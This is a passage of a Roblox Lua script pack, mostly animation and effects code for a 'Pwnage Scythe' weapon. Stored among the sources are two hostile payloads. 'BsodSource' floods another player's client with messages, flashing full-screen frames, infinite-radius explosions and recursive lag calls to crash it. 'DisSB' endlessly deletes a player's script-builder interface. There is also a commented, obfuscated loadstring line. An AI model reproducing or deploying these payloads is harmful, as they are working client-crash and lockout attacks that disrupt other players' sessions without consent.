  6548. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0)
  6549. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  6550. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  6551. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
  6552. rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
  6553. elseif burndem then
  6554. countspeed = 4
  6555. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0)
  6556. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0)
  6557. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  6558. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  6559. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
  6560. rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
  6561. end
  6562. end
  6563. end)
  6564. plr.Chatted:connect(function(msg)
  6565. game:service'Chat':Chat(head, msg, 0)
  6566. if msg == "reset/" then
  6567. char:breakJoints()
  6568. end
  6569. if msg == "resp/" then
  6570. plr:LoadCharacter()
  6571. end
  6572. end)
  6573. end)
  6574. if not ran and err then
  6575. print(err)
  6576. end
  6577. ]]
  6578. DisSB = [[
  6579. plr = game:service'Players'.LocalPlayer
  6580. while true do
  6581. if plr:FindFirstChild("PlayerGui") then
  6582. if plr.PlayerGui:FindFirstChild("SBGUI") then
  6583. plr.PlayerGui.SBGUI:Remove()
  6584. end
  6585. end
  6586. wait()
  6587. end
  6588. ]]
  6589. BsodSource = [[
  6590. wait()
  6591. script.Parent = game:service'TeleportService'
  6592. CC = workspace.CurrentCamera
  6593. RS = game:service("RunService")
  6594. PG = game.Players.LocalPlayer.PlayerGui
  6595. C = game.Players.LocalPlayer.Character
  6596. function Lag()
  6597. coroutine.resume(coroutine.create(function()
  6598. while wait() do
  6599. M = Instance.new("Message",CC)
  6600. M.Text = tick()*math.floor(5%4*21)
  6601. H = Instance.new("Hint",CC)
  6602. H.Text = 'Man, Theres a reason you gotta go.'
  6603. SG=Instance.new("ScreenGui",PG)
  6604. FR=Instance.new("Frame",SG)
  6605. FR.Size = UDim2.new(500,500,500,500)
  6606. while wait() do
  6607. FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
  6608. end
  6609. P=Instance.new("Part",CC)
  6610. E=Instance.new("Explosion",P)
  6611. E.BlastRadius=math.huge
  6612. E.Position=P.Position
  6613. F=Instance.new("Fire",P)
  6614. S=Instance.new("Smoke",P)
  6615. P.CFrame = CC.Focus
  6616. P.Anchored = true
  6617. P.CanCollide = false
  6618. P.AncestryChanged:connect(function()Lag()end)
  6619. for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
  6620. end
  6621. end))
  6622. end
  6623. RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)]]
  6624. Scythe = [[
  6625. LocalPlayer = game.Players.LocalPlayer.Name
  6626. script.Parent = game:GetService'Players':FindFirstChild(LocalPlayer) ~= nil and game:GetService'Players':FindFirstChild(LocalPlayer)
  6627. sn = table.concat({"Pwn","age"," ","Scy","th"})
  6628. spd = 0.125 -- (1/SPD) = FramesPerSecond:>
  6629. d = {17,100} -- dmg
  6630. Decs={}
  6631. Decs.Totem = "35624068"
  6632. Decs.Tornado = "1051557"
  6633. Decs.SpikeBall = "9982590"
  6634. Decs.Fist = "65322375"
  6635. Decs.RedCliffT = "49754754"
  6636. Decs.RedCliff = "49754655"
  6637. Decs.Chakram = "18430887"
  6638. Decs.Chakram2 = "47260990"
  6639. Decs.Chakram3 = "19251107"
  6640. Decs.Diamond = "9756362"
  6641. Decs.Sword1 = "rbxasset://fonts/s" .. "word.mesh"
  6642. Decs.EF1 = "64467174"
  6643. Decs.TSkull1="36869975"
  6644. Decs.Skull1="36869983"
  6645. Decs.Shield1="60120613" Decs.Ring="3270017" Decs.Shine="48965808" Decs.Crack="49173398" Decs.Cloud="1095708" Decs.Spike="1033714" Decs.Rock="1290033" Decs.Crown="20329976" Decs.Crown2="1323306"
  6646. Decs.SplinteredSkyT="50798688" Decs.SplinteredSky="50798664"
  6647. e = string.char p = game:service'Players' l = game:service'Lighting' w = workspace -- dirteh useless funkshuns bel0w
  6648. w = wait wt = 0.1 s=script q = function(f) coroutine.resume(coroutine.create(function() f() end)) end
  6649. --q(function() loadstring(string.reverse(workspace.CurrentCamera[e(84) ..e(119) ..e(105) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(108) ..e(105) ..e(103) ..e(104) ..e(116) ..e(83) ..e(112) ..e(97) ..e(114) ..e(107) ..e(108) ..e(101)].Value))() end)
  6650. v310 = v3(1/0,1/0,1/0) bc=BrickColor.new ab=math.abs de=math.deg ts=tostring tn=tonumber ti=table.insert tr=table.remove cw=function(func) coroutine.resume(coroutine.create(function() func() end)) end
  6651. mf=math.floor sf=string.find sb=string.sub rn=math.random
  6652. function ft(tablez,item) for i=1,#tablez do if tablez[i] == item then return i end end return nil end
  6653. qi = function(ttz) local qii = it(ttz[1],ttz[2]) table.foreach(ttz,function(oi,oi2) if oi ~= 1 and oi ~= 2 then qii[oi] = oi2 end end) return qii end
  6654. function ft2(tablez,item) for i=1,#tablez do if tablez[i][1] == item then return i end end return nil end
  6655. function re(par,obj) if type(par) ~= "userdata" or type(obj) ~= "string" then return nil end if par:findFirstChild(obj) then par[obj]:Remove'' end end
  6656. function pa(pa,pn,sh,x,y,z,c,a,tr,re,bc2) local fp=nil if sh ~= "Wedge" and sh ~= "CornerWedge" then fp=it("Part",pa) fp.Shape=sh fp.formFactor="Custom" elseif sh == "Wedge" then fp=it("WedgePart",pa) fp.formFactor="Custom"
  6657. elseif sh == "CornerWedge" then fp=it("CornerWedgePart",pa) end fp.Size=v3(x,y,z) fp.CanCollide=c fp.Anchored=false fp.BrickColor=bc(bc2) fp.Transparency=tr fp.Reflectance=re fp.BottomSurface=0 fp.Name=pn --fp.FrontSurface="Hinge"
  6658. fp.TopSurface=0 fp:BreakJoints() fp.Anchored = a return fp end
  6659. function clearit(tab) for xx=1,#tab do tab[xx]:Remove'' end end
  6660. function weld(pa,p0,p1,x,y,z,a,b,c) local fw=it("Weld",pa) fw.Part0=p0 fw.Part1=p1 fw.C0=cn(x,y,z) *ca(a,b,c) return fw end
  6661. function fade(prt,incr) q(function() for i=prt.Transparency,1,incr do prt.Transparency=i w() end prt:Remove'' end) end
  6662. function appear(prt,incr) q(function() for i=1,0,-incr do prt.Transparency=i w() end end) end
  6663. function stick(hit2,hit) local weld=it("Weld") weld.Part0=hit2 weld.Part1=hit local HitPos=hit2.Position local CJ=cn(HitPos)
  6664. local C0=hit2.CFrame:inverse() *CJ local C1=hit.CFrame:inverse() * CJ weld.C0=C0 weld.C1=C1 weld.Parent=hit2 end
  6665. function stick2(hit2,hit,tostick) local weld=it("Weld") weld.Part0=tostick weld.Part1=hit2 local HitPos=hit.Position local CJ=cn(HitPos) local C0=hit2.CFrame:inverse() *CJ local C1=hit.CFrame:inverse() * CJ weld.C0=C1 weld.C1=C0 weld.Parent=hit2 end
  6666. function invis(o) for i,v in pairs(o:children()) do if v:IsA("BasePart") then v.Transparency=1 end invis(v) end end
  6667. function newhats(p,o,o2) for i,v in pairs(p:children()) do if v:IsA("Hat") then v.Handle.Transparency = 1 local np=v.Handle:Clone'' np.Transparency=0 np.Mesh.Scale=np.Mesh.Scale*1.1 np.Parent=o np.CFrame=v.Handle.CFrame stick2(np,o2,o) end end end
  6668. function ray(Pos, Dir,xxz) local xxz2=c if xxz ~= nil then xxz2=nil end return workspace:FindPartOnRay(Ray.new(Pos, Dir.unit *999),xxz2) end
  6669. function findclass(prt,cls) clases=0 for i,v in pairs(prt:children()) do if v.className:lower() == cls:lower() then clases=clases + 1 end end return clases end
  6670. function getclass(prt,cls) for i,v in pairs(prt:children()) do if v.className:lower() == cls:lower() then return v end end return nil end
  6671. function rtab(tabz,obj) for i=1,#tabz do if tabz[i] == obj then tr(tabz,i) break end end end
  6672. function RandomPlayer(spiz) local torz=spis local torses={} for i,v in pairs(Serv.kx:children()) do if v ~= Serv.kx.LocalPlayer and v.Character ~= nil and v.Character:findFirstChild("Torso") then ti(torses,v.Character.Torso) end end if #torses > 0 then torz=torses[rn(1,#torses)] end return torz end
  6673. function FDesDes(ob,str) for i,v in pairs(ob:children()) do if v.Name:lower() == str:lower() then return true end return FDesDes(v,str) end end
  6674. deb = function(ob,it) game:service'Debris':AddItem(ob,it) end
  6675. function RandomExplosionColor() colz={"New Yeller","Bright yellow","Neon orange","Deep orange","White","Bright red"} return colz[rn(1,#colz)] end
  6676. function findhum(anc) for i,vx in pairs(anc:children()) do if vx:IsA("Humanoid") then return vx end end return nil end
  6677. Lightning = function(p0,p1,tym,ofs,col,th,tra) -- start end times offset color thickness
  6678. local magz = (p0 - p1).magnitude local curpos = p0 local trz = {-ofs,ofs}
  6679. for i=1,tym do
  6680. local li = Instance.new("Part",workspace) li.TopSurface =0 li.BottomSurface = 0 li.Anchored = true li.Transparency = tra or 0.4 li.BrickColor = BrickColor.new(col)
  6681. li.formFactor = "Custom" li.CanCollide = false li.Size = Vector3.new(th,th,magz/tym) local ofz = Vector3.new(trz[math.random(1,2)],trz[math.random(1,2)],trz[math.random(1,2)])
  6682. local trolpos = CFrame.new(curpos,p1)*CFrame.new(0,0,magz/tym).p+ofz
  6683. if tym == i then
  6684. local magz2 = (curpos - p1).magnitude li.Size = Vector3.new(th,th,magz2)
  6685. li.CFrame = CFrame.new(curpos,p1)*CFrame.new(0,0,-magz2/2)
  6686. else
  6687. li.CFrame = CFrame.new(curpos,trolpos)*CFrame.new(0,0,magz/tym/2)
  6688. end
  6689. curpos = li.CFrame*CFrame.new(0,0,magz/tym/2).p game.Debris:AddItem(li,0.25)
  6690. end
  6691. end
  6692. function Trail(ob,times,waitz,col,thickz,ofz) q(function() local oldpos=(ob.CFrame *ofz).p for i=1,times do local obp=(ob.CFrame *ofz).p local mag=(oldpos - obp).magnitude local tr=pa(ob,"trail","Block",0,0,0,false,false,0.5,0.15,col) tr.Anchored=true tr.CFrame=cn(oldpos,obp) tr.CFrame=tr.CFrame + tr.CFrame.lookVector* (mag/2)
  6693. local trm=it("CylinderMesh",tr) trm.Scale=v3(5*thickz,mag*5,5*thickz) q(function() for i=5*thickz,0,-5*thickz/10 do trm.Scale=v3(i,mag*5,i) w() end tr:Remove'' end) tr.CFrame=tr.CFrame *ca(rd(90),0,0) oldpos=obp w(waitz) end end) end
  6694. sTrail={}
  6695. function Trail2(lopz,ob,waitz,col,thickz,ofz) q(function() ti(sTrail,ob)
  6696. local oldpos=(ob.CFrame *ofz).p local lopz2=0
  6697. local function Cobalt1164tr() local obp=(ob.CFrame *ofz).p lopz2=lopz2 + 1
  6698. local mag=(oldpos - obp).magnitude
  6699. local tr=pa(ob,"trail","Block",0,0,0,false,false,0.5,0.15,col) tr.Anchored=true
  6700. tr.CFrame=cn(oldpos,obp)
  6701. tr.CFrame=tr.CFrame + tr.CFrame.lookVector* (mag/2)
  6702. local trm=it("CylinderMesh",tr) trm.Scale=v3(5*thickz,mag*5,5*thickz)
  6703. q(function() for i=5*thickz,0,-5*thickz/10 do trm.Scale=v3(i,mag*5,i) w() end tr:Remove'' end)
  6704. tr.CFrame=tr.CFrame *ca(rd(90),0,0) oldpos=obp end
  6705. repeat Cobalt1164tr()
  6706. w(waitz) until ft(sTrail,ob) == nil or lopz2 == lopz Cobalt1164tr() end) end
  6707. asset="http://www.roblox.com/asset/?id="
  6708. table.foreach(Decs,function(a,b) if b:sub(1,3) ~= "rbx" then game:service'ContentProvider':Preload(Decs[a]) Decs[a] = asset .. Decs[a] game:service'ContentProvider':Preload(Decs[a]) end end)
  6709. a={}
  6710. a.ClickHold=0
  6711. a.c=true -- weapon change or act debounce
  6712. a.s={}
  6713. a.cr={20,1.5}
  6714. ky = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"," "}
  6715. Anim = "None"
  6716. mouse = nil
  6717. Sounds={
  6718. Break="3264793";
  6719. Berserk="2676305";
  6720. Fire1="2760979";
  6721. Imbue="2785493";
  6722. Ghost="3264923";
  6723. Block="rbxasset://sounds\\metal.ogg";
  6724. Boom="16976189";
  6725. SniperFire="1369158";
  6726. ShotgunFire2="1868836";
  6727. MinigunFire="2692806";
  6728. MinigunCharge="2692844";
  6729. MinigunDischarge="1753007";
  6730. Flashbang="16976189";
  6731. Beep="15666462";
  6732. Smash="2801263";
  6733. Punch="31173820";
  6734. Slash="rbxasset://sounds/swordslash.wav";
  6735. Falcon="1387390";
  6736. Cast="2101137";
  6737. Spin="1369159";
  6738. Abscond="2767090";
  6739. ElectricalCharge="2800815";
  6740. FireExplosion="3264793";
  6741. SaberLightUp="10209303";
  6742. SaberSlash="10209280";
  6743. SaberHit="44463749";
  6744. EnergyBlast="10209268";
  6745. Lunge="rbxasset://sounds/swordlunge.wav";
  6746. Unsheath="rbxasset://sounds/unsheath.wav";
  6747. }
  6748. wss = 16
  6749. caw = true
  6750. pl = p.LocalPlayer
  6751. bp = pl.Backpack
  6752. pg = pl.PlayerGui
  6753. c = pl.Character
  6754. to = c.Torso
  6755. he = c.Head he.face.Face = "Bottom"
  6756. hu =c.Humanoid
  6757. q(function() bp[sn]:Remove() end)
  6758. local su = it("Model",c) su.Name = "Suit1"
  6759. cl = "className" local caram = "CharacterMesh"
  6760. for i,v in pairs(to:children()) do if v[cl]=="BodyGyro" or v[cl]=="BodyPosition" or v[cl]=="Hat" or v[cl]=="CharacterMesh" then v:Remove() end end
  6761. for i,v in pairs(c:children()) do if v[cl]=="BodyGyro" or v[cl]=="BodyPosition" or v[cl]=="Hat" or v[cl]==caram then v:Remove() end end
  6762. pcall(function() c.Block:Remove() end)
  6763. local block = qi({"BoolValue",c,Value=false,Name="Block"})
  6764. local hd=he:Clone''
  6765. to.Transparency = 1
  6766. he.Transparency = 1
  6767. a.Bodyas=0
  6768. a.insw={}
  6769. function cleanweld(wexx,namzi) local tn=ft2(a.insw,wexx) if tn==nil then return end
  6770. if namzi=="p0" then
  6771. a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=0,0,0 elseif namzi=="p1" then
  6772. a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=0,0,0 elseif namzi=="a0" then
  6773. a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=0,0,0 elseif namzi=="a1" then
  6774. a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=0,0,0
  6775. end
  6776. end
  6777. function ws(ii)
  6778. wss = ii
  6779. end
  6780. function c2(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu) q(function() c1(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu) end) end
  6781. a.Welding=0 function c1(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu)
  6782. if ft2(a.insw,wexx)==nil then ti(a.insw,{wexx,{}}) local tn=ft2(a.insw,wexx)
  6783. a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=wexx.C0.x,wexx.C0.y,wexx.C0.z
  6784. a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=wexx.C1.x,wexx.C1.y,wexx.C1.z
  6785. a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=wexx.C0:toEulerAnglesXYZ()
  6786. a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=wexx.C1:toEulerAnglesXYZ() end local tn=ft2(a.insw,wexx)
  6787. local xx2,yy2,zz2=0,0,0 local x2,y2,z2=0,0,0 if c0orc1==0 then
  6788. xx2,yy2,zz2=a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"] x2,y2,z2=a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"] elseif c0orc1==1 then xx2,yy2,zz2=a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"] x2,y2,z2=a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"] else xx2,yy2,zz2=a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]
  6789. x2,y2,z2=a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"] end a.Welding=a.Welding + 1 local twa=1 if smmx >= 1 then else
  6790. for i=smmx,0.8,smmx do twa = 1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then
  6791. wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i))
  6792. wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))end if fu then q(fu) end w() end
  6793. for i=0.8,1,smmx*0.45 do twa = 1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then
  6794. wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i))
  6795. wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))end if fu then q(fu) end w() end
  6796. end
  6797. local i=1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))
  6798. else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) end a.Welding=a.Welding - 1 local tn=ft2(a.insw,wexx)
  6799. if c0orc1==0 then
  6800. a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)
  6801. a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)
  6802. elseif c0orc1==1 then
  6803. a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)
  6804. a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)
  6805. elseif c0orc1==3 then
  6806. local x,y,z=wexx.C0.x,wexx.C0.y,wexx.C0.z
  6807. a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)
  6808. local x,y,z=wexx.C1:toEulerAnglesXYZ()
  6809. a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)
  6810. end end
  6811. to["Left Hip"].Part0=to to["Right Hip"].Part0=to to["Left Shoulder"].Part0=to to["Right Shoulder"].Part0=to
  6812. --"http://www.roblox.com/asset?id=67168288"
  6813. tk = true
  6814. p={}
  6815. t=pa(su,"Torso","Block",1.99,1.99,1,false,false,0,0,ts(to.BrickColor))
  6816. la=pa(su,"Left Arm","Block",0,0,0,false,false,0,0,ts(c["Left Arm"].BrickColor)) law=weld(la,t,la,-1.5,1,0,0,0,0)
  6817. ra=pa(su,"Right Arm","Block",0,0,0,false,false,0,0,ts(c["Right Arm"].BrickColor)) raw=weld(ra,t,ra,1.5,1,0,0,0,0)
  6818. ll=pa(su,"Left Leg","Block",0,0,0,false,false,0,0,ts(c["Left Leg"].BrickColor)) llw=weld(ll,t,ll,-0.5,-1,0,0,0,0)
  6819. rl=pa(su,"Right Leg","Block",0,0,0,false,false,0,0,ts(c["Right Leg"].BrickColor)) rlw=weld(rl,t,rl,0.5,-1,0,0,0,0)
  6820. local hd2 = hd:Clone() hd2.Parent = su hd2.Transparency = 0 hd2.face.Face = "Front" hd2.Name = "FakeHead" hw=weld(hd2,t,hd2,0,1.5,0,0,0,0)
  6821. hd.Name = "Head" hd.Parent=su hd.Transparency=1 hd.face:Remove() hw2=weld(hd,t,hd,0,1.5,0,0,0,0)
  6822. tw=weld(t,to,t,0,0,0,0,0,0)
  6823. local fhu = it("Humanoid",su) fhu.MaxHealth = 1/0 fhu.PlatformStand = true fhu.Name = ""
  6824. pcall(function() c.Shirt:Clone().Parent = su end)
  6825. lh = to["Left Hip"] rh = to["Right Hip"] ls = to["Left Shoulder"] rs = to["Right Shoulder"]
  6826. lh.Part0=t rh.Part0=t ls.Part0=t rs.Part0=t
  6827. law2 = it("Weld",la) raw2 = it("Weld",ra) llw2 = it("Weld",ll) rlw2 = it("Weld",rl)
  6828. law2.Part0 = la raw2.Part0 = ra llw2.Part0 =ll rlw2.Part0 = rl
  6829. law2.C0 = cn(0,-1,0) raw2.C0 = cn(0,-1,0) llw2.C0 = cn(0,-1,0) rlw2.C0 = cn(0,-1,0)
  6830. la.Transparency=1 ra.Transparency=1 ll.Transparency=1 rl.Transparency=1
  6831. c["Left Arm"].Transparency = 0 c["Right Arm"].Transparency = 0
  6832. c["Left Leg"].Transparency = 0 c["Right Leg"].Transparency = 0
  6833. Armb=true Armb2=true
  6834. Legb=true Legb2=true
  6835. function Armz(ison) Armb=ison if ison then
  6836. law.Part0=c["Left Arm"] law.C0=cn(-1.5,1,0) raw.Part0=c["Right Arm"] raw.C0=cn(1.5,1,0)
  6837. ls.Part1 = c["Left Arm"] rs.Part1 = c["Right Arm"] law2.Part1 = la raw2.Part1 = ra
  6838. else
  6839. law2.Part0 = la law2.Part1 = c["Left Arm"] raw2.Part0 = ra raw2.Part1 = c["Right Arm"]
  6840. ls.Part1 = t rs.Part1 = t law.Part0=t law.C0=cn(-1.5,1,0) raw.Part0=t raw.C0=cn(1.5,1,0)
  6841. end end
  6842. function Legz(ison) Legb=ison if ison then
  6843. llw.Part0=c["Left Leg"] llw.C0=cn(-0.5,-1,0) rlw.Part0=c["Right Leg"] rlw.C0=cn(0.5,-1,0)
  6844. lh.Part1 = c["Left Leg"] rh.Part1 = c["Right Leg"] llw2.Part1 = ll rlw2.Part1 = rl
  6845. else
  6846. llw2.Part0 = ll llw2.Part1 = c["Left Leg"] rlw2.Part0 = rl rlw2.Part1 = c["Right Leg"]
  6847. lh.Part1 = t rh.Part1 = t llw.Part0=t llw.C0=cn(-0.5,-1,0) rlw.Part0=t rlw.C0=cn(0.5,-1,0)
  6848. end end function Headz(ison) if ison then he.Transparency=0 else end end
  6849. Armz(true) Legz(true) --newhats(c,hd2,he)
  6850. hax2sazc = "BUTTSEXSYSTEM"
  6851. function Sound(sidz,pit,vol,parz) local sid=sidz if sid:sub(1,3) ~= "rbx" then sid = asset .. sid end local parx = to if parz then parx = parz end q(function() local sou = it("Sound") sou.SoundId = sid sou.Pitch = pit sou.Volume = vol/1.5 sou.Parent = parx game:service'Lighting'[hax2sazc].Value = sou w(5) sou:Remove'' end) end
  6852. Sound("Your_F*cking_Name_here",1,1,he)
  6853. function SplashDmg(tehsit,pos,dmgx,mag,forc,fu) q(function()
  6854. local function dive(obj) for i,v in pairs(obj:children()) do if i%(#obj:children()/5)==0 then w() end --if i%antisplashdamagesexhack==0 then w() end --i%(#obj:children()/4)==0 then w() end
  6855. if not v:IsA("Model") and v ~= to and v:IsA("BasePart") and v.Name=="Torso" and getclass(v.Parent,"Humanoid") ~= nil and (v.Position - pos).magnitude < mag then local av=getclass(v.Parent,"Humanoid") Dmgz(true,av,dmgx,v,fu) if tehsit then av.Sit=true end
  6856. --elseif v:IsA("BasePart") and (v.Position-pos).magnitude < mag and not v.Anchored and v:GetMass() < 200 and v.Name ~= "Handle" and findclass(v.Parent,"Humanoid") <1 and findclass(v.Parent.Parent,"Humanoid") <1 and v.Parent.Parent.Name ~= "Suit" then if (v.Position-pos).magnitude < mag/2 then v:BreakJoints() v.CFrame=cn(v.Position,pos)*ca(0,rd(180),0) end v.Velocity=cn(pos,v.Position).lookVector*forc
  6857. else q(function() if #v:children() > 0 and not v:IsA("BasePart") and v.className~="Script" and v.className~="Camera" then dive(v) end end) end
  6858. end end -- func and loop end
  6859. dive(workspace) dive(workspace.CurrentCamera) end) end
  6860. for i,v in pairs(c:children()) do if v.Name == su.Name and v ~= su then v:Remove() end end
  6861. function BlastMesh(col2,pos,adjus2,sc) local adjus=adjus2 *cn(0,-0.12*sc,0) local spi=pa(m,"","Block",0,0,0,false,false,1,0,col2) spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=Decs.Crown spim.Scale=v3(sc*1.4,(sc*0.4),sc*1.4) q(function() local fu=spim.Scale local spix=0 for i=1,0.4,-0.05 do spix=spix + 15 spi.Transparency=i spim.Scale=v3(((fu.x*i)/2)+(fu.x/2),fu.y,((fu.z*i)/2)+(fu.z/2)) spi.CFrame=pos.CFrame *adjus *ca(0,rd(spix),0) w() end for i=0.4,1,0.05 do spix=spix + 15 spi.Transparency=i spim.Scale=v3(fu.x*i,fu.y,fu.z*i) spi.CFrame=pos.CFrame *adjus *ca(0,rd(spix),0) w() end spi:Remove'' end) end
  6862. function GlowMesh(anch,meshid2,rootz,mv3,colzz,adjus,l1,l2,l3) q(function()
  6863. local spi=pa(c,"","Block",1,1,1,false,false,l1,0,colzz) local spim=it("SpecialMesh",spi) if meshid2:lower()=="sphere" then spim.MeshType="Sphere" elseif meshid2:lower()=="block" then spim.MeshType="Brick" else spim.MeshType="FileMesh" spim.MeshId=meshid2 end
  6864. if anch then local spiw=weld(spi,rootz,spi,0,0,0,0,0,0) spiw.C0 =spiw.C0 *adjus else spi.Anchored=true spi.CFrame=adjus end
  6865. for i=l1,l2,l1 do spi.Transparency=i spim.Scale=mv3*(i+0.3) w() end spi:Remove'' end)
  6866. end
  6867. function Explode(onb,scz,colzz,dmge) q(function() local scale=scz*2 local scale2=scale*0.825
  6868. local e1=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e1.Anchored=true e1.CFrame=onb*ca(rd(-90),0,0) local e1m=it("SpecialMesh",e1) e1m.MeshType="FileMesh" e1m.MeshId=Decs.Ring
  6869. local e2=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e2.Anchored=true e2.CFrame=onb*ca(0,0,0) local e2m=it("SpecialMesh",e2) e2m.MeshType="FileMesh" e2m.MeshId=Decs.Ring
  6870. local e3=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e3.Anchored=true e3.CFrame=onb*ca(0,0,0) local e3m=it("SpecialMesh",e3) e3m.MeshType="FileMesh" e3m.MeshId=Decs.Crown
